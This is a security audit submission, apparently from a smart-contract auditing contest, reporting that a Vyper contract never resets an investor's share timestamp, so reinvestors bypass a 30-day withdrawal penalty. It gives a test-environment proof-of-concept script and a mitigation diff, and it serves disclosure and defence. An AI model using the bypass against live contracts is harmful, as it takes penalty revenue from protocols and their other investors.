Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
Submission Details
Severity: high
Valid

Lockup Bypass via Persistent Timestamp

Author Revealed upon completion

Root + Impact

Description

  • share_received_time[msg.sender] is set only once (when zero) and never cleared on withdrawal, so reinvesting addresses inherit their original timestamp and bypass the 30-day penalty window.

```vyper
@> if self.share_received_time[msg.sender] == 0: # Only sets timestamp on first deposit
@> self.share_received_time[msg.sender] = block.timestamp
@> # ← Never resets on subsequent deposits, never cleared on withdrawal
```

Risk

Likelihood: High

  • Any investor who has ever held shares can exit and re-enter with immediate liquidity; whales can script the cycle.

Impact: Medium

  • Treasury loses the 10% penalty revenue and early exits destabilize token economics, disadvantaging new investors forced to wait 30 days.

Proof of Concept

  • Overview: test_poc_004_lockup_bypass.py models an investor who exits after 31 days, re-enters, waits only 2 days, then withdraws again with no penalty.

  • Step-by-step:

    1. Setup: Seed treasury, investor deposits 10 ETH, timestamp stored.

    2. Attack Vector: Wait 31 days, withdraw once (legit), timestamp persists.

    3. Execution Flow: Immediately deposit 5 ETH; timestamp unchanged.

    4. Result: After 2 days withdraw 5 ETH; expected 0.5 ETH penalty is skipped, investor receives full payout with no penalty deduction.

"""
POC-004: Lockup Bypass via Persistent Timestamp
Severity: MEDIUM | Likelihood: High | Impact: Medium
Validates that withdrawing all shares does not reset `share_received_time`,
allowing an investor to re-enter and withdraw immediately with no penalty.
"""
# ============================================================================
# EXECUTION CONTEXT
# ============================================================================
# This PoC deploys contracts directly using script.deploy module:
# - deploy_industry(): Deploys Cyfrin_Hub.vy (vulnerable contract)
# - deploy_engine(): Deploys CustomerEngine.vy (not used in attack flow)
# - Test accounts generated via boa.env.generate_address()
#
# Framework: titanoboa (Python testing framework for Vyper smart contracts)
# Dependencies: pytest, titanoboa, eth_utils
# ============================================================================
import boa
from eth_utils import to_wei
from script.deploy import deploy_engine, deploy_industry
LOCKUP_PERIOD = 30 * 86400 # 30 days
PENALTY_BPS = 10
def _withdraw_payout(contract, investor):
"""
Helper to read net payout of a withdrawal by comparing balances.
"""
before = boa.env.get_balance(investor)
with boa.env.prank(investor):
contract.withdraw_shares()
after = boa.env.get_balance(investor)
return after - before
def test_poc_004_lockup_bypass_timestamp_persistence():
"""
Steps:
1. Investor A buys shares (timestamp recorded).
2. Wait 31 days, withdraw penalty-free (timestamp persists).
3. Re-invest immediately; `share_received_time` remains old value.
4. Wait 2 days and withdraw again; protocol sees >30 days since
original timestamp, so no penalty is applied → lockup bypass.
"""
industry_contract = deploy_industry()
deploy_engine(industry_contract)
owner = industry_contract.OWNER_ADDRESS()
investor = boa.env.generate_address("lockup_investor")
boa.env.set_balance(owner, to_wei(1000, "ether"))
boa.env.set_balance(investor, to_wei(1000, "ether"))
# Owner seeds treasury to maintain solvency for pricing
with boa.env.prank(owner):
industry_contract.fund_cyfrin(0, value=to_wei(100, "ether"))
# 1. Investor enters position (timestamp set)
initial_investment = to_wei(10, "ether")
with boa.env.prank(investor):
industry_contract.fund_cyfrin(1, value=initial_investment)
share_timestamp_first = industry_contract.share_received_time(investor)
assert share_timestamp_first > 0
# 2. Advance past lockup (31 days) and withdraw without penalty
boa.env.time_travel(seconds=LOCKUP_PERIOD + 86_400) # +1 day buffer
payout_one = _withdraw_payout(industry_contract, investor)
assert payout_one >= initial_investment # No 10% loss
assert industry_contract.shares(investor) == 0
# Timestamp must remain (bug)
assert industry_contract.share_received_time(investor) == share_timestamp_first
# 3. Re-invest immediately after full exit
second_investment = to_wei(5, "ether")
with boa.env.prank(investor):
industry_contract.fund_cyfrin(1, value=second_investment)
# Timestamp should have been reset but is not
assert industry_contract.share_received_time(investor) == share_timestamp_first
# 4. Only wait 2 days, then withdraw again
boa.env.time_travel(seconds=2 * 86400)
company_balance_before = industry_contract.company_balance()
payout_two = _withdraw_payout(industry_contract, investor)
company_balance_after = industry_contract.company_balance()
# Expected behavior: 10% penalty (~0.5 ETH) since only 2 days elapsed
expected_penalty = second_investment * PENALTY_BPS // 100
# Actual: No penalty, entire investment returned
assert payout_two >= second_investment
assert payout_two >= second_investment - 10 # allow tiny rounding buffer
assert payout_two > second_investment - expected_penalty + 1
actual_penalty = max(second_investment - payout_two, 0)
avoided_penalty = expected_penalty - actual_penalty
print("\n<<< POC-004 >>>")
print(f"first_timestamp={share_timestamp_first}")
print(f"post_withdraw_timestamp={industry_contract.share_received_time(investor)}")
print(f"first_payout={payout_one}")
print(f"second_payout={payout_two}")
print(f"expected_penalty={expected_penalty}")
print(
"state_snapshot="
f"{{'company_balance_before': {company_balance_before}, "
f"'company_balance_after': {company_balance_after}, "
f"'avoided_penalty': {avoided_penalty}, "
f"'actual_penalty': {actual_penalty}}}"
)
print("[fail] timestamp persisted; second withdrawal unpenalized")

Recommended Mitigation

  • Reset share_received_time to block.timestamp every time fund_investor mints new shares, even for existing holders.

  • Alternatively, clear the timestamp when shares drop to zero so reinvestors must accrue a fresh holding period.

  • Emit events when lockup resets to help analytics track investor tenure.

- if self.share_received_time[msg.sender] == 0:
- self.share_received_time[msg.sender] = block.timestamp
+ self.share_received_time[msg.sender] = block.timestamp
# In withdraw_shares():
self.shares[msg.sender] = 0
self.issued_shares -= shares_owned
+ self.share_received_time[msg.sender] = 0
Updates

Lead Judging Commences

0xshaedyw Lead Judge
4 days ago
0xshaedyw Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

High – Lockup Not Reset

`share_received_time` is only set once, allowing investors to bypass lockup on subsequent investments.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.